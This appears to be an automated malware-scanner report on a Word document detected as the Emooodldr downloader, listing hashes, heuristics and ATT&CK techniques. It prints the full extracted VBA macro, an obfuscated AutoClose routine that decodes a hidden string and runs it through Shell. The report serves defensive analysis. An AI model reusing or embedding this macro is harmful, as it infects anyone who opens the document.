Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9b48f0818738ddda…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 13b32557ffd89f5b79e73c235bb242f5 SHA-1: 5f3af6334f2518cf32c7e4dda4e0d1b513c3dd91 SHA-256: 9b48f0818738ddda0adce3560770e8618dac6bd341d5e116d967562146d51a7f
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample contains VBA macros, specifically an AutoClose macro that utilizes the Shell() function to execute a command. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The macro's obfuscated string array and function calls indicate it's designed to download and execute a second-stage payload, likely over HTTP.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2097 bytes
SHA-256: 65196d498b8a5f1da7721dd7f37957e966fa022441864c527b1fb1a4250baf83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function utfangenethef(ribgrass, orthometric)

  cunjer = 507
  fleecelikeator = -1
  For Each unburgessed In orthometric
    If unburgessed = ribgrass Then
     cunjer = fleecelikeator
     Exit For
    End If

    fleecelikeator = fleecelikeator + 1
    
  Next

  
  If cunjer = 507 Then
    cunjer = -1
  End If


  utfangenethef = cunjer + 1
End Function


Private Function boathooks(cantoned)
  cyclobutane = Array("K", "u", "2", "E", "i", "F", "x", "6", "z", "Q", "j", "R", "c", "W", "V", "t", "T", "B", "G", "a", "f", "1", "8")
  adorability = Array("t", "e", "u", "s", "r", "p", "w", "d", "c", "a", "?", " ", "=", ":", ".", "m", "N", "o", "i", "q", "x", "/", "h")
  
  furciform = vbNullString
  
  For Each howled In cantoned
    whimperingly = Application.Run("utfangenethef", howled, cyclobutane)
    If whimperingly > -1 Then
    furciform = adorability(whimperingly) + furciform
    End If
  Next
  
  boathooks = StrReverse(furciform)
  
End Function

Sub AutoClose()
  cantoned = Array("t", "E", "8", "K", "Q", "V", "u", "f", "u", "R", "8", "K", "K", "F", "W", "1", "1", "6", "G", "2", "8", "a", "G", "B", "6", "2", "a", "x", "6", "G", "B", "a", "6", "8", "2", "a", "x", "6", "V", "z", "B", "t", "1", "T", "T", "1", "E", "t", "G", "f", "V", "F", "8", "F", "j", "2", "K", "t", "Q", "c", "K", "B", "i", "6")
  unindustrial = boathooks(cantoned)
  
  Application.Run "chimakuan", (unindustrial)
  
End Sub


Private Sub chimakuan(overlengthening)
   
   ananite = 909
   misquote = True
   
   While misquote
     sojas = ananite + 611
     If sojas - ananite > 7 Then
       dacus = kinetogenesis + "ll"
       Call VBA.Shell(overlengthening, vbNormalFocus - 1)
       misquote = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 2f9fb9750ac9138c76f542274828ca5e94f97a9b07478e959d48e15c191bd37e
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely